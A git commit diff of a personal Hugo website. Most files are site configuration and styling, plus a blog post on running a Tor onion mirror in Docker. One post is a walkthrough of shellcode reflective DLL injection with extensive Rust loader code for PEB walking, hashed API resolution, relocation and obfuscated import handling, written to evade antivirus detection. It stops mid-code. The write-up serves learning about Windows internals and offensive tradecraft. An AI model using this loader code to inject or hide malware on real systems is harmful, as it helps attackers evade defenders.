commit e80b25059a20efd943f9b077c1a88526a70326e1 Author: 17ms Date: Sun Aug 4 17:39:40 2024 +0300 chore: commit history pruned diff --git a/.github/workflows/deploy.yaml b/.github/workflows/deploy.yaml new file mode 100644 index 0000000..3e7d33d --- /dev/null +++ b/.github/workflows/deploy.yaml @@ -0,0 +1,48 @@ +name: Deploy + +on: + push: + branches: + - master + workflow_dispatch: + branches: + - master + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: Checkout repository & submodules + uses: actions/checkout@v4 + with: + submodules: recursive + + - name: Sleep a moment to avoid race conditions + run: sleep 3 + + - name: Configure ssh-agent + uses: webfactory/ssh-agent@v0.9.0 + with: + ssh-private-key: ${{ secrets.SSH_PRIVATE_KEY }} + + - name: Scan host key + run: mkdir -p ~/.ssh && ssh-keyscan -t rsa $HOST >> ~/.ssh/known_hosts + env: + HOST: ${{ secrets.HOST }} + + - name: Setup Hugo + uses: peaceiris/actions-hugo@v2 + with: + hugo-version: "latest" + extended: true + + - name: Build + run: hugo --minify --gc + + - name: Deploy + run: + rsync -avx --delete public/ + $USERNAME@$HOST:/home/$USERNAME/hosting/swag/www + env: + HOST: ${{ secrets.HOST }} + USERNAME: ${{ secrets.USERNAME }} diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9ecf436 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +.DS_Store + +node_modules/ + +public/ +.hugo_build.lock +/resources/_gen diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..4d81b35 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "themes/hugo-bearcub"] + path = themes/hugo-bearcub + url = https://github.com/clente/hugo-bearcub diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 0000000..91df6ac --- /dev/null +++ b/.prettierrc @@ -0,0 +1,22 @@ +{ + "plugins": ["prettier-plugin-go-template"], + "useTabs": false, + "tabWidth": 2, + "bracketSpacing": true, + "semi": false, + "proseWrap": "always", + "overrides": [ + { + "files": ["*.html"], + "options": { + "parser": "go-template" + } + }, + { + "files": ["*.md"], + "options": { + "proseWrap": "never" + } + } + ] +} diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..cf57521 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 17ms + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..c2dfdd4 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +Contents of my personal website [golfed.xyz](https://golfed.xyz). Also mirror to Tor [here](http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion/). + +Built with [Hugo](https://gohugo.io) and [Bear Cub](https://github.com/clente/hugo-bearcub). diff --git a/archetypes/default.md b/archetypes/default.md new file mode 100644 index 0000000..ee85d42 --- /dev/null +++ b/archetypes/default.md @@ -0,0 +1,8 @@ ++++ +title = '{{ replace .File.ContentBaseName "-" " " | title }}' +date = {{ .Date }} +author = '' +draft = false +tags = [] +categories = [] ++++ diff --git a/assets/style.css b/assets/style.css new file mode 100644 index 0000000..0d03f8c --- /dev/null +++ b/assets/style.css @@ -0,0 +1,235 @@ +body { + font-family: Verdana, sans-serif; + margin: auto; + padding: 20px; + max-width: 720px; + text-align: left; + background-color: #1d1f27; + word-wrap: break-word; + overflow-wrap: break-word; + line-height: 1.5; + color: #c9d1d9; +} + +h1, +h2, +h3, +h4, +h5, +h6, +strong, +b { + color: #eee; +} + +a { + color: #8cc2dd; +} + +.title { + text-decoration: none; + border: 0; +} +.title h1 { + font-size: 24px; + margin: 19.92px 0 19.92px 0; +} + +.title span { + font-weight: 400; +} + +nav a { + margin-right: 10px; +} + +textarea { + background-color: #252525; + color: #ddd; + width: 100%; + font-size: 16px; +} + +input { + background-color: #252525; + color: #ddd; + font-size: 16px; +} + +content { + line-height: 1.6; +} + +table { + width: 100%; +} + +table, +th, +td { + border: 1px solid; + border-collapse: collapse; + border-color: #c9d1d9; + padding: 5px; +} + +img { + max-width: 100%; +} + +code { + padding: 2px 5px; + color: #f8f8f2; + background-color: #282a36; +} + +pre code { + display: block; + padding: 20px; + white-space: pre; + font-size: 14px; + overflow-x: auto; +} + +blockquote { + border-left: 1px solid #999; + color: #ccc; + padding-left: 20px; + font-style: italic; +} + +footer { + padding: 25px; + text-align: center; +} + +.helptext { + color: #aaa; + font-size: small; +} + +.errorlist { + color: #eba613; + font-size: small; +} + +/* blog posts */ +ul.blog-posts { + list-style-type: none; + padding: unset; +} + +ul.blog-posts li { + display: flex; + margin-bottom: 10px; +} + +ul.blog-posts li span { + flex: 0 0 130px; +} + +ul.blog-posts li a:visited { + color: #8b6fcb; +} + +a.blog-tags { + line-height: 2; +} + +h3.blog-filter { + margin-bottom: 0; +} + +.disabled { + color: currentColor; + cursor: not-allowed; + opacity: 0.7; +} + +p.byline { + font-style: italic; +} + +/* "Skip to main content" link */ +.skip-link { + position: absolute; + top: 5; + transform: translateY(-600%); + transition: transform 0.5s; + background-color: #1d1f27; + padding: 6px; +} + +.skip-link:focus { + transform: translateY(0%); +} + +figure { + margin-inline-start: 0em; + margin-inline-end: 0em; +} + +figcaption > p { + margin-block-start: 0px; + text-align: center; + font-style: italic; + color: #ccc; +} + +/* -- Custom CSS -- */ + +:root { + --html-bg: #121212; + --body-bg: #131313; + --accent: #ef5350; + --visited: #f58280; +} + +html { + background: var(--html-bg); +} + +body { + background-color: var(--body-bg); + border-radius: 20px; +} + +a { + color: var(--accent); +} + +ul.blog-posts li a:visited { + color: var(--visited); +} + +.header-container { + display: flex; + align-items: center; + justify-content: space-between; + width: 100%; +} + +.title { + white-space: nowrap; +} + +.social-container { + display: flex; + align-items: center; + justify-content: flex-end; + flex-wrap: wrap; + margin-left: 15px; +} + +.social-icon { + aspect-ratio: 1; + width: 25px; + text-decoration: none; + transition: all 0.6s ease; + display: flex; + margin: 6px; +} + +.social-icon:hover { + opacity: 0.7; +} diff --git a/config.yaml b/config.yaml new file mode 100644 index 0000000..99c2168 --- /dev/null +++ b/config.yaml @@ -0,0 +1,79 @@ +baseURL: "https://golfed.xyz" +copyright: "MIT" +defaultContentLanguage: "en" +enableRobotsTXT: true +enableEmoji: true + +theme: "hugo-bearcub" + +author: + name: "Shiherlis" + +# https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src#unsafe_inline_styles +markup: + highlight: + lineNos: false + lineNumbersInTable: false + # https://web.dev/color-and-contrast-accessibility/ + noClasses: false + # https://gohugo.io/getting-started/configuration-markup#unsafe + goldmark: + renderer: + unsafe: true + +# https://gohugo.io/content-management/multilingual/ +languages: + en: + title: "Golfed" + languageName: "en-US" + LanguageCode: "en-US" + contentDir: "content" + params: + madeWith: + "Made with [Hugo](https://gohugo.io/) & [Bear + Cub](https://github.com/clente/hugo-bearcub)" + +params: + description: "Personal website and blog" + favicon: "images/favicon.ico" + + # Images for link previews (ignored if `generateSocialCard: true`) + # https://gohugo.io/templates/internal#twitter-cards + # https://gohugo.io/templates/internal#open-graph + images: [] + + # https://gohugo.io/templates/internal#open-graph + title: "Golfed" + + dateFormat: "2006-01-02" + hideUntranslated: false + + # (EXPERIMENTAL) This theme is capable of dynamically generating social cards + # for posts that don't have `images` defined in their front matter; By setting + # `generateSocialCard` to false, you can prevent this behavior. For more + # information see layouts/partials/seo_tags.html + generateSocialCard: true + + # Links attached to the page head + social: + email: "hello@golfed.xyz" + + # Icons to be displayed in the page header ('display' defaults to capitalized version of 'name') + socialIcons: + - name: email + url: "mailto:hello@golfed.xyz" + # Uncomment once the instance issue is sorted out + # - name: matrix + # url: "https://matrix.to/#/@:server" + - name: telegram + url: "https://t.me/shrlis" + - name: xmpp + url: "xmpp:shiherlis@xmpp.is" + display: XMPP + - name: github + url: "https://github.com/17ms" + - name: pgpkey + url: "/pgp.txt" + display: PGP + - name: monero + url: "/xmr.txt" diff --git a/content/_index.md b/content/_index.md new file mode 100644 index 0000000..f16db38 --- /dev/null +++ b/content/_index.md @@ -0,0 +1,21 @@ ++++ +title = 'Home' +menu = 'main' +weight = 1 +draft = false +tags = [] +categories = [] ++++ + +## About + +I'm a university student working towards a BSc in Computer Science. I enjoy delving into topics such as software development, systems administration, cybersecurity, and the intricacies of online privacy. Recently, I've also developed an interest in DeFi ecosystems. + +## Contact + +- Email: [hello@golfed.xyz](mailto:hello@golfed.xyz) +- XMPP: [shiherlis@xmpp.is](xmpp:shiherlis@xmpp.is) +- Telegram: [@shrlis](https://t.me/shrlis) +- PGP: [`1530 F513 2A12 2857 8D2B 4168 995E FD5C 1B53 2B3E`](/pgp.txt) + +I'm also planning to set up a Matrix instance later in 2024, which will be added to both the above and the [PGP-signed](/contact.txt) lists once it's online. diff --git a/content/blog/_index.md b/content/blog/_index.md new file mode 100644 index 0000000..82f0937 --- /dev/null +++ b/content/blog/_index.md @@ -0,0 +1,7 @@ ++++ +title = 'Blog' +date = 2023-11-13T13:23:38+02:00 +draft = false +menu = 'main' +weight = 2 ++++ diff --git a/content/blog/dockerized-onion-service.md b/content/blog/dockerized-onion-service.md new file mode 100644 index 0000000..9af4d72 --- /dev/null +++ b/content/blog/dockerized-onion-service.md @@ -0,0 +1,151 @@ ++++ +title = 'Spinning up a Dockerized Onion Mirror' +date = 2024-04-07T20:21:17+03:00 +author = '' +draft = false +tags = ['tor', 'docker', 'self-hosting', 'privacy'] +categories = [] ++++ + +I decided to spin up an [onion mirror of this website](http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion) just for the fun of it. Funnily enough hosting an onion service is actually easier than hosting a clearweb site. + +When searching for information about Dockerizing onion services, I noticed that the guides found with quick web searches vary significantly in quality, especially from a security standpoint. This prompted me to compile my own notes and thoughts on the topic into this compact post. + +## TL;DR + +If you only want to use Tor as a rewriting proxy (i.e. client types in the v3 address, and the proxy serves the upstream clearweb site through Tor), [Onionspray](https://gitlab.torproject.org/tpo/onion-services/onionspray/) is a great choice. + +For those who aren't concerned about fine-tuning or more in-depth details of the configuration, here's [a great repository to get started with](https://github.com/ha1fdan/hidden-service-docker) that I also used as the base for my setup. The compose configuration found in the repository manually installs the newest available version of Tor, which is much better than relying on the image's contributors to update it in a premade image. + +If you want a vanity v3 address, you can use a tool like [mkp2240](https://github.com/cathugger/mkp224o). + +## Setup + +Here's the slightly modified `docker-compose.yml` I use: + +```yaml +services: + tor: + image: alpine:latest + container_name: tor + command: sh -c "apk update && apk add --no-cache tor && chmod 700 /var/lib/tor/onion-service && (cat /var/lib/tor/onion-service/hostname || echo 'Hostname not available.') && tor -f /etc/tor/torrc" + volumes: + - ./tor:/etc/tor:rw + - ./onion-mirror:/var/lib/tor/onion-service:rw + - nginx-tor-socket:/var/run/onion-sockets:rw + depends_on: + - nginx + restart: unless-stopped + + nginx: + image: nginx:latest + container_name: nginx-onion + command: + volumes: + - ./web/config/onion-default.conf:/etc/nginx/conf.d/default.conf:rw + - ./web/public:/usr/share/nginx/html:ro + - nginx-tor-socket:/var/run/onion-sockets:rw + healthcheck: + test: ["CMD", "curl", "-f", "--unix-socket", "/var/run/onion-sockets/site.sock", "||", "exit 1"] + interval: 10s + timeout: 5s + retries: 5 + restart: unless-stopped + +volumes: + nginx-tor-socket: +``` + +Combined with a minimal nginx configuration and `torrc`: + +```text +server { + listen unix:/var/run/onion-sockets/site.sock; + server_name golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion; + + access_log off; + server_tokens off; + + add_header X-Content-Type-Options "nosniff"; + add_header X-Frame-Options SAMEORIGIN; + proxy_hide_header X-Powered-By; + + location / { + root /usr/share/nginx/html; + index index.html index.htm; + } +} +``` + +```text +HiddenServiceDir /var/lib/tor/onion-service/ +HiddenServicePort 80 unix:/var/run/onion-sockets/site.sock +``` + +## In-depth configuration + +Despite my use case being quite casual, I still wanted to follow [the best practices of hosting an onion service](https://riseup.net/en/security/network-security/tor/onionservices-best-practices). + +### Service isolation + +As recommended in the Riseup guide, it's crucial to carefully isolate clearweb services from the onion ones to prevent any unwanted information leaks. For more critical services, it's definitely worth hosting them in a completely different location with only a minimal number of public-facing ports open. Personally, I solved this by spinning up an individual nginx container that essentially hosts a separate copy of this site. + +### Sockets over TCP + +Since Tor doesn't require binding to physical ports, there's no need to worry about conflicting ports. Instead, it's worth to consider using Unix sockets for local communication rather than TCP. Unix sockets can reduce the overhead of TCP/IP networking by allowing local inter-process communication to occur through the file system. They can also offer a bit more security by not accidentally exposing services through network ports (although this is already quite easily manageable with containers as long as you don't mix up the ports of different services). + +```text +HiddenServicePort 80 unix:/var/run/onion-sockets/site.sock +``` + +```text +server { + listen unix:/var/run/onion-sockets/site.sock; + server_name golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion; +} +``` + +### Do you need TLS? + +Most of the time, there's no need for a TLS certificate with an onion service. As [this section](https://community.torproject.org/onion-services/advanced/https/) well describes, you might lose more than you gain: many CAs don't support the .onion TLD, and third-party certificates might unintentionally leak .onion names. Fortunately, you can now get DV certificates (instead of EV certificates) for onion sites from the Greek non-profit HARICA. However, support from Let's Encrypt CA is still missing. + +The few benefits of having a certificate include using the `https` URI scheme and ensuring the traffic from your web server to Tor is encrypted (which could be especially useful if the instances aren't running on the same machine). + +### Onionscan + +[Onionscan](https://onionscan.org/) is the Tor Project's contributors' recommendation for detecting possible misconfigurations or information leaks. The original project is practically abandoned, but here's [an up-to-date fork](https://github.com/415ALS/onionscanv3) with v3 address support. + +### Onion-Location + +To take advantage of Tor Browser's Onion-Location redirection, you should add the following response header to your clearweb site's configuration: + +```text +add_header Onion-Location http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion$request_uri; +``` + +Or alternatively include an HTML `` attribute: + +```html + +``` + +Notably, with proxying enabled through Cloudflare, I encountered difficulties in getting the response headers to pass through to the client, necessitating the use of the `` attribute instead. + +### Something else? + +If you notice any critical or less critical details missing, please inform me [via email or XMPP](/contact.txt). I purposely didn't delve into load balancing (with Onionbalance) or Vanguards as they're a bit too broad areas to cover for this post, and I'm not very familiar with them to begin with. + +## Sources + +I highly recommend checking out the sites I browsed while figuring this stuff out, especially [The Onion Services Ecosystem](https://tpo.pages.torproject.net/onion-services/ecosystem/): + +- [Tor Project's Guide on Setting Up Onion Service](https://community.torproject.org/onion-services/setup/) +- [Tor Project's Tips on Operational Security](https://community.torproject.org/onion-services/advanced/opsec/) +- [Tor Project's Tips on HTTPS for Onion Services](https://community.torproject.org/onion-services/advanced/https/) +- [Riseup's Best Practices Guide](https://riseup.net/en/security/network-security/tor/onionservices-best-practices) +- [Introduction to Onionspray](https://tpo.pages.torproject.net/onion-services/ecosystem/apps/web/onionspray/) +- [Tor Project's Onionsite Checklist](https://tpo.pages.torproject.net/onion-services/ecosystem/apps/web/checklist/) +- ["Connect two NGINX's through UNIX sockets" by David Sierra](https://blog.davidsierra.dev/posts/connect-nginxs-through-sockets/) +- ["Create a complete Tor Onion Service with Docker and OpenSUSE in less than 15 minutes" by Jason S. Evans](https://www.youtube.com/watch?v=iUxiTk6w1sc) +- [Onionscan Documentation](https://onionscan.org/) + diff --git a/content/blog/understanding-srdi.md b/content/blog/understanding-srdi.md new file mode 100644 index 0000000..e228ead --- /dev/null +++ b/content/blog/understanding-srdi.md @@ -0,0 +1,678 @@ ++++ +title = 'Walkthrough of Shellcode Reflective DLL Injection (sRDI)' +date = 2023-12-09T20:42:26+02:00 +author = '' +draft = false +tags = ['windows', 'exploitation'] +categories = [] ++++ + +In the ever-evolving landscape of malware, Shellcode Reflective DLL Injection (RDI) stands as a formidable technique despite its age, distinguished by its stealth and efficiency. Unlike traditional DLL injection methods, which often leave apparent traces for AV systems to detect, RDI operates on a more subtle level. Basically it challenges typical defensive solutions such as behavior monitoring, heuristics, or signature-based detection. + +Implementing a reflective loader myself provided a great insight into PE files and Windows API, and it's definitely a good initial foothold into more advanced techniques. + +## Steps + +1. Execution is passed to the loader from a separate injector, that injects the shellcode containing both loader and payload into the target process's memory space (e.g. with `VirtualAlloc`). +2. The reflective loader parses the process's `kernel32.dll` to calculate the addresses of the functions required for relocation and execution. +3. The loader allocates a continuous region of memory to load its own image into. +4. The loader relocates itself into the allocated memory region with the help of its headers. +5. The loader resolves the imports and patches them into the relocated image's Import Address Table according to the previously gotten function addresses. +6. The loader applies appropriate protections on each relocated section. +7. The loader calls the relocated image's entry point `DllMain` with `DLL_PROCESS_ATTACH`. + +## Implementation + +The complete implementation can be found from [the Github repository](https://github.com/17ms/airborne). The following explanations focus on the loader itself as the supporting components (process injector, shellcode generator, and payload) are basically just pasted from existing implementations mentioned in the [references](#references). + +The following helper functions are utilized to make the RVA calculations a bit easier to read: + +```rust +fn rva_mut(base_ptr: *mut u8, offset: usize) -> *mut T { + (base_ptr as usize + offset) as *mut T +} + +fn rva(base_ptr: *mut u8, offset: usize) -> *const T { + (base_ptr as usize + offset) as *const T +} +``` + +### Locating modules + +The loading process begins by locating the modules and their exports needed to perform the subsequent stages of the injection. A prime target is `kernel32.dll`, a core module in Windows. + +Each Windows thread possesses a Thread Environment Block (TEB), which, among other thread specific data, points to a Process Environment Block (PEB). The PEB contains a `PEB_LDR_DATA` structure, cataloging user-mode modules loaded in the process. Crucially, it also features a `InLoadOrderModuleList` field, that points to a doubly linked list enumerating these modules by their load order: + +```rust +#[repr(C)] +#[allow(non_snake_case, non_camel_case_types)] +pub struct PEB_LDR_DATA { + pub Length: u32, + pub Initialized: BOOLEAN, + pub SsHandle: HANDLE, + pub InLoadOrderModuleList: LIST_ENTRY, + pub InMemoryOrderModuleList: LIST_ENTRY, + pub InInitializationOrderModuleList: LIST_ENTRY, + pub EntryInProgress: *mut c_void, + pub ShutdownInProgress: BOOLEAN, + pub ShutdownThreadId: HANDLE, +} + +#[repr(C)] +#[allow(non_snake_case)] +pub union LDR_DATA_TABLE_ENTRY_u1 { + pub InInitializationOrderLinks: LIST_ENTRY, + pub InProgressLinks: LIST_ENTRY, +} + +#[repr(C)] +#[allow(non_snake_case, non_camel_case_types)] +pub struct LDR_DATA_TABLE_ENTRY { + pub InLoadOrderLinks: LIST_ENTRY, + pub InMemoryOrderLinks: LIST_ENTRY, + pub u1: LDR_DATA_TABLE_ENTRY_u1, + pub DllBase: *mut c_void, + pub EntryPoint: PLDR_INIT_ROUTINE, + pub SizeOfImage: u32, + pub FullDllName: UNICODE_STRING, + pub BaseDllName: UNICODE_STRING, +} +``` + +By iterating through this list, we can locate the module we're looking for. This step is pivotal in the process, as it allows us to call necessary functions exported from `kernel32.dll` with indirect function calls. + +To illustrate, let's examine a set of functions that locate the PEB and traverse the `InLoadOrderModuleList`. Notably we also hash the strings containing the names of the modules (and the exported functions in the next step) to make static analysis a bit more difficult: + +```rust +#[link_section = ".text"] +unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> { + // first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY + // InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro + let peb_ptr = get_peb_ptr(); + let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA; + let mut table_entry_ptr = + (*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + + while !(*table_entry_ptr).DllBase.is_null() { + let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer; + let name_len = (*table_entry_ptr).BaseDllName.Length as usize; + let name_slice_buf = from_raw_parts(transmute::(name_buf_ptr), name_len); + + // calculate the module hash and compare it + if module_hash == airborne_common::calc_hash(name_slice_buf) { + return Some((*table_entry_ptr).DllBase as _); + } + + table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + None +} + +#[link_section = ".text"] +unsafe fn get_peb_ptr() -> *mut PEB { + // TEB located at offset 0x30 from the GS register on 64-bit + let teb: *mut TEB; + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + + (*teb).ProcessEnvironmentBlock as *mut PEB +} +``` + +### Locating exports + +After locating the base address of `kernel32.dll`, our next step is to identify the addresses of the specific functions we need. This requires an understanding of the Windows Portable Executable (PE) file format. + +A PE file is structured into various components, including the DOS Header, DOS Stub, NT Headers, and a Section Table, which houses the actual file contents in segments like `.text` and `.data`. Our focus is on the Export Directory located within the NT Headers, a section that lists exported functions and their addresses. We can access the Export Directory by utilizing the `IMAGE_DIRECTORY_ENTRY_EXPORT` offset within the `IMAGE_DATA_DIRECTORY`. + + +

+ Image of the PE file structure +

+
+ +Similar to how we navigated through modules, we now iterate through the Export Directory entries to locate our required functions. This way we're able to bypass the usual API call mechanisms that could trigger security alerts: + +```rust +#[link_section = ".text"] +unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option { + // NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses + let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap(); + let export_dir_ptr = (module_base_ptr as usize + + (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = from_raw_parts( + (module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32, + (*export_dir_ptr).NumberOfNames as _, + ); + let funcs = from_raw_parts( + (module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32, + (*export_dir_ptr).NumberOfFunctions as _, + ); + let ords = from_raw_parts( + (module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16, + (*export_dir_ptr).NumberOfNames as _, + ); + + // compare hashes iteratively for each entry + for i in 0..(*export_dir_ptr).NumberOfNames { + let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8; + let name_len = get_cstr_len(name_ptr as _); + let name_slice = from_raw_parts(name_ptr as _, name_len); + + if function_hash == airborne_common::calc_hash(name_slice) { + return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize); + } + } + + None +} + +#[link_section = ".text"] +unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> { + let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER; + + if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers_ptr = + (module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE { + return None; + } + + Some(nt_headers_ptr) +} +``` + +### Allocating memory + +Having successfully 'imported' the necessary functions (and storing their pointers into `far_procs` struct), we proceed to allocate memory for our payload shellcode within the target process. This is done using `VirtualAlloc`, with the allocated memory granted RW permissions. + +The payload’s NT Headers contain an `ImageBase` field, indicating the preferred loading address (in which case the imports wouldn't have to be resolved in the later steps). Initially, we can attempt to allocate memory at this address, but if unsuccessfull, we can pass `NULL` as the `lpAddress` parameter to allow `VirtualAlloc` to pick an appropriate location. In the end the specific memory address isn't critical, as the loader will handle any necessary relocations later in the execution process. + +The allocation step itself is really simple and only requires the payload size: + +```rust +#[link_section = ".text"] +#[no_mangle] +#[allow(clippy::missing_safety_doc)] +pub unsafe extern "system" fn loader( + payload_dll: *mut c_void, + function_hash: u32, + user_data: *mut c_void, + user_data_len: u32, + _shellcode_bin: *mut c_void, + flags: u32, +) { + // ... + + let module_base_ptr = payload_dll as *mut u8; + + if module_base_ptr.is_null() { + return; + } + + let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER; + let module_nt_headers_ptr = (module_base_ptr as usize + + (*module_dos_header_ptr).e_lfanew as usize) + as *mut IMAGE_NT_HEADERS64; + let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize; + let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void; + let base_addr_ptr = + allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap(); + + // ... +} + +#[link_section = ".text"] +unsafe fn allocate_rw_memory( + preferred_base_ptr: *mut c_void, + alloc_size: usize, + far_procs: &FarProcs, +) -> Option<*mut c_void> { + let mut base_addr_ptr = (far_procs.VirtualAlloc)( + preferred_base_ptr, + alloc_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + // fallback: attempt to allocate at any address if preferred address is unavailable + if base_addr_ptr.is_null() { + base_addr_ptr = (far_procs.VirtualAlloc)( + null_mut(), + alloc_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + } + + if base_addr_ptr.is_null() { + return None; + } + + Some(base_addr_ptr) +} +``` + +### Copying sections + +After the allocation, we can proceed to copying the payload PE's sections and headers to the new memory section based on the `NumberOfSections` field of the payload's `IMAGE_FILE_HEADER`: + +```rust +#[link_section = ".text"] +unsafe fn copy_pe( + new_base_ptr: *mut c_void, + old_base_ptr: *mut u8, + nt_headers_ptr: *mut IMAGE_NT_HEADERS64, +) { + let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize + + (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize) + as *mut IMAGE_SECTION_HEADER; + + // PE sections one by one + for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections { + let header_i_ref = &*(section_header_ptr.add(i as usize)); + + let dst_ptr = new_base_ptr + .cast::() + .add(header_i_ref.VirtualAddress as usize); + let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8; + let raw_size = header_i_ref.SizeOfRawData as usize; + + let src_data_slice = from_raw_parts(src_ptr, raw_size); + + (0..raw_size).for_each(|x| { + let src = src_data_slice[x]; + let dst = dst_ptr.add(x); + *dst = src; + }); + } + + // PE headers + for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders { + let dst = new_base_ptr as *mut u8; + let src = old_base_ptr as *const u8; + + *dst.add(i as usize) = *src.add(i as usize); + } +} +``` + +### Processing image relocations + +Most likely the payload won't be loaded into the preferred memory location, thus we need to address the image relocations. + +The necessary relocation data resides in the payload's NT Headers, within the Data Directory, specifically at the `IMAGE_DIRECTORY_ENTRY_BASERELOC` index. This base relocation table comprises entries each with a `VirtualAddress` field. We apply the delta, which is the difference between the allocated memory location and the preferred memory location, to these addresses. Additionally, we must factor in the offset specified in each table item: + +```rust +#[link_section = ".text"] +unsafe fn process_relocations( + base_addr_ptr: *mut c_void, + nt_headers_ptr: *mut IMAGE_NT_HEADERS64, + mut relocation_ptr: *mut IMAGE_BASE_RELOCATION, + data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16], +) { + let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize; + + // upper bound prevents accessing memory past the end of the relocation data + let relocation_end = relocation_ptr as usize + + data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize; + + while (*relocation_ptr).VirtualAddress != 0 + && ((*relocation_ptr).VirtualAddress as usize) <= relocation_end + && (*relocation_ptr).SizeOfBlock != 0 + { + // relocation address, first entry, and number of entries in the whole block + let addr = rva::( + base_addr_ptr as _, + (*relocation_ptr).VirtualAddress as usize, + ) as isize; + let item = rva::(relocation_ptr as _, size_of::()); + let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::()) + / size_of::(); + + for i in 0..count { + // high bits -> type, low bits -> offset + let type_field = (item.add(i).read() >> 12) as u32; + let offset = item.add(i).read() & 0xFFF; + + match type_field { + IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => { + *((addr + offset as isize) as *mut isize) += delta; + } + _ => {} + } + } + + relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize); + } +} +``` + +### Resolving the imports + +Now, to ensure the payload functions correctly, we must resolve its external dependencies by processing the import table. + +In the DLL's Data Directory, we focus on the `IMAGE_DIRECTORY_ENTRY_IMPORT` index, where the import directory resides. This directory contains an array of `IMAGE_IMPORT_DESCRIPTOR` structures, each representing a DLL from which the module imports functions. + +During this step we also utilize shuffling and sleep calls to obfuscate the execution flow. First we shuffle the import descriptors with [Fisher–Yates in-place shuffle](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle): + +```rust +let mut id_ptr = import_descriptor_ptr; +let mut import_count = 0; + +while (*id_ptr).Name != 0 { + import_count += 1; + id_ptr = id_ptr.add(1); +} + +let id_ptr = import_descriptor_ptr; + +if import_count > 1 && flags.shuffle { + // Fisher-Yates shuffle + for i in 0..import_count - 1 { + let rn = match get_random(far_procs) { + Some(rn) => rn, + None => return 0, + }; + + let gap = import_count - i; + let j_u64 = i + (rn % gap); + let j = 